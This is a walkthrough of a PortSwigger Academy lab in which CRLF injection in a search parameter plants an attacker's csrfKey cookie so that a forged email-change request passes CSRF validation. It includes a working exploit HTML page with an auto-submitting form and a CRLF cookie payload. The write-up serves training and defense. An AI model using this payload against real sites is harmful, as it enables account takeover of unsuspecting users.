Authorization disclaimer. This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.

Overview

The email-change handler accepts a csrf form token only when it matches the non-session csrfKey cookie. The search endpoint reflects its query into Set-Cookie: LastSearchTerm=..., making CRLF cookie injection the bridge that lets an attacker install their own matching csrfKey in the victim’s browser.

Lab description says CSRF tokens are not fully integrated into session handling and supplies wiener and carlos accounts.
Lab description says CSRF tokens are not fully integrated into session handling and supplies wiener and carlos accounts.

Lab objective/setup

This intentionally vulnerable Academy exercise isolates csrf where token is tied to non-session cookie. The supplied accounts and endpoints are used to reproduce only the source note evidence for csrf where token is tied to non-session cookie; all request changes remain inside this Academy instance.

What I observed

The captured email-change request contains both a csrfKey cookie and a separate csrf body parameter. A search for xyz returns Set-Cookie: LastSearchTerm=xyz; inserting CRLF into that search value adds a second Set-Cookie header, allowing the response to write an attacker-chosen csrfKey.

My Account shows the authenticated email-change form used to obtain the attacker-controlled token pair.
My Account shows the authenticated email-change form used to obtain the attacker-controlled token pair.
The HTTP history shows POST /my-account/change-email with session and csrfKey cookies plus the matching csrf body parameter; the response redirects with 302 Found.
The HTTP history shows POST /my-account/change-email with session and csrfKey cookies plus the matching csrf body parameter; the response redirects with 302 Found.

Why it is vulnerable

The validation binds csrf to csrfKey, but csrfKey is not the authentication session and the search response lets an attacker overwrite it. The comparison therefore proves only that two attacker-supplied values correspond, not that the victim initiated the request.

Walkthrough in the authorized PortSwigger lab

  1. Sign in to the attacker account, capture POST /my-account/change-email, and retain that account’s valid csrfKey cookie and matching csrf token.
  2. Request /?search=xyz and confirm that the response sets LastSearchTerm=xyz. Then use %0d%0aSet-Cookie: in the search value to verify that this lab response can set an additional cookie.
  3. On the exploit server, load the search endpoint with a CRLF payload that sets csrfKey to the attacker’s captured key in the victim browser.
  4. After that request errors as an image, submit the cross-site email-change form with the attacker’s matching csrf token. The victim contributes only their authenticated session cookie; the attacker-controlled csrfKey and csrf pair satisfies the flawed validation.
1
2
3
4
5
6
7
8
9
10
<html>
<body>
<form action="https://LAB/my-account/change-email" method="POST">
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="csrf" value="<ATTACKER_TOKEN>" />
</form>
<object data="https://LAB/?search=x%0d%0aSet-Cookie:%20csrfKey=<ATTACKER_KEY>%3b%20SameSite=None"
onerror="document.forms[0].submit()"></object>
</body>
</html>
Burp records GET /?search=abc, the search request used to test cookie-setting behavior.
Burp records GET /?search=abc, the search request used to test cookie-setting behavior.
The search response shows Set-Cookie: LastSearchTerm=... and the CRLF-modified request that adds an attacker-chosen csrfKey cookie.
The search response shows Set-Cookie: LastSearchTerm=... and the CRLF-modified request that adds an attacker-chosen csrfKey cookie.
The exploit-server form posts email and the matching csrf token, while an image request to /?search= uses %0d%0aSet-Cookie to install csrfKey with SameSite=None before onerror submits the form.
The exploit-server form posts email and the matching csrf token, while an image request to /?search= uses %0d%0aSet-Cookie to install csrfKey with SameSite=None before onerror submits the form.

Verification

The final capture shows the Academy marking the csrf where token is tied to non-session cookie exercise as solved after the documented request sequence. No testing was performed outside the isolated lab.

The Academy banner for “CSRF where token is tied to non-session cookie” shows Solved.
The Academy banner for “CSRF where token is tied to non-session cookie” shows Solved.

Impact and defensive lesson

The evidence demonstrates the concrete risk of csrf where token is tied to non-session cookie: a server-side trust decision can be bypassed through the exact input or workflow shown in this lab. For csrf where token is tied to non-session cookie, the server must enforce the exact invariant violated in the captured sequence and regression-test that mutation alongside the normal path.

References